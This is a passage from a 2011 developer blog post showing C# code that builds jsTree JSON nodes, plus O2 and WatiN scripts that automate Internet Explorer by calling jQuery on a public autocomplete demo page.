    node.attributes.rel = "root" + i;
    node.data = new Data();
    node.data.title = "Root node:" + i;
    node.state = "close";

    node.children = new List<JsTreeNode>();

    for (int j = 1; j < 4; j++)
    {
        JsTreeNode cnode = new JsTreeNode();
        cnode.attributes = new Attributes();
        cnode.attributes.id = "childnod1" + j;
        node.attributes.rel = "folder";
        cnode.data = new Data();
        cnode.data.title = "child node: " + j;
        cnode.attributes.mdata = "{draggable : true,max_children : 1,max_depth : 1 }";
        node.children.Add(cnode);

    }
    node.attributes.mdata = "{draggable : false,max_children : 1, max_depth :1}";
    nodesList.Add(node);
}
var jsTree = new JsTree();
jsTree.data= nodesList; 
var jsonData = new JavaScriptSerializer().Serialize(jsTree);       

return jsonData;   

June 21, 2011 Posted by | IE Automation, jQuery, WatiN | 3 Comments

Invoking jQuery from O2

jQuery is an amazing  javascript API and since O2 has a two-way communcations with the hosted IE object, there is a new O2 API that allows the managed (ie. in O2) manipulation of jQuery.

Here is an exampe of this api in action:

var topPanel = "PoC - jQuery IE Automation example".popupWindow(600,700);
var ie = topPanel.add_IE().silent(true);

ie.open(<a href="http://jquery.bassistance.de/autocomplete/demo/">http://jquery.bassistance.de/autocomplete/demo/</a>);
var jQuery = new IE_JQuery(ie);
jQuery.id("suggest1")            // getting reference to html element with id 'suggest1'
      .border(12)               // seeting the border value to 12
      .value("London")            // setting the 'value' attribute to 'London'
      .keydown();     
         
jQuery.wait(200)                  // wait 200 ms to give time for the '.ac_over:first' to exist
      .element(".ac_over:first")  // get reference to '.ac_over:first' element
      .parent()                      // invoke the jQuery 'parent' method
      .click();                      // invoke the jQuery 'click' method     
     
jQuery.wait(1000).id("suggest1").border(2);      // wait 1s before removing the border</pre>
return "ok";

//O2File:IE_JQuery.cs
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Here is a longer version of the above script (the following code samples are not ‘standalone *.h2 scripts and will need to be executed inside the ‘Quick Development Environment’ or ‘IE Automation’ scripts (since they need the ‘panel’ variable):

panel.clear();
var ie = panel.add_IE().silent(true);

ie.open("http://jquery.bassistance.de/autocomplete/demo/");

var jQuery = new IE_JQuery(ie);
jQuery.id("suggest1")            // getting reference to html element with id 'suggest1'
      .border(12)               // seeting the border value to 12
      .value("London")            // setting the 'value' attribute to 'London'
      .keydown();     
         
jQuery.wait(200)                  // wait 200 ms to give time for the '.ac_over:first' to exist
      .element(".ac_over:first")  // get reference to '.ac_over:first' element
      .parent()                      // invoke the jQuery 'parent' method
      .click();                      // invoke the jQuery 'click' method     
     
jQuery.wait(1000).id("suggest1").border(2);      // wait 1s before removing the border

return "ok";

     
// here is a more verbose version of the above script
ie.wait(1000);

jQuery.element("#suggest1").border(12);              
jQuery.id("suggest1").attr("value","Lond").keydown();   
ie.wait(200);
jQuery.element(".ac_over:first").parent().click();
// here is a version using much more raw jQuery manipulations and experiements
ie.invokeEval("jQuery(\"#suggest1\").attr('value','mode 1')");
ie.wait(1000);
jQuery.invokeJQuery("'#suggest1').attr('value','mode 2'");
ie.wait(1000);
jQuery.element("#suggest1").invokeJQuery("attr","'value' , 'mode 3' ");
ie.wait(1000);
jQuery.element("#suggest1").attr("value","L");
ie.wait(1000);
jQuery.id("suggest1").invokeJQuery("trigger", "'keydown'");
ie.wait(1000);
jQuery.element(".ac_over:first").invokeJQuery("parent","").invokeJQuery("click","");
return "done";
//O2File:IE_JQuery.cs
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

 
Here is the Script provided by an Daniel (an O2 user) which inspired the creation of this script:

panel.clear();
var ie = panel.add_IE().silent(true);</pre>
ie.open("http://jquery.bassistance.de/autocomplete/demo/");
//ie.invokeEval(incJquery);
ie.field("suggest1").value("London"); //entering value inside first autocomplete control
ie.invokeEval("$('#suggest1').trigger('keydown')"); //triggering keyboard event
ie.wait(100);
ie.invokeEval("$('.ac_over:first').parent().click()"); //choosing first value from autocomplete
return ie.fields();
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

 
this is how Daniel was injecting jQuery into the page (note that the IE_JQuery.cs api also does this)

var incJquery = "var script = document.createElement('script');";
incJquery += "script.src = 'http://code.jquery.com/jquery-latest.pack.js';";
incJquery += "script.type = 'text/javascript';";
incJquery += "document.body.insertBefore( script, document.body.firstChild );";
ie.invokeEval(incJquery);

June 8, 2011 Posted by | IE Automation, jQuery, WatiN | Leave a comment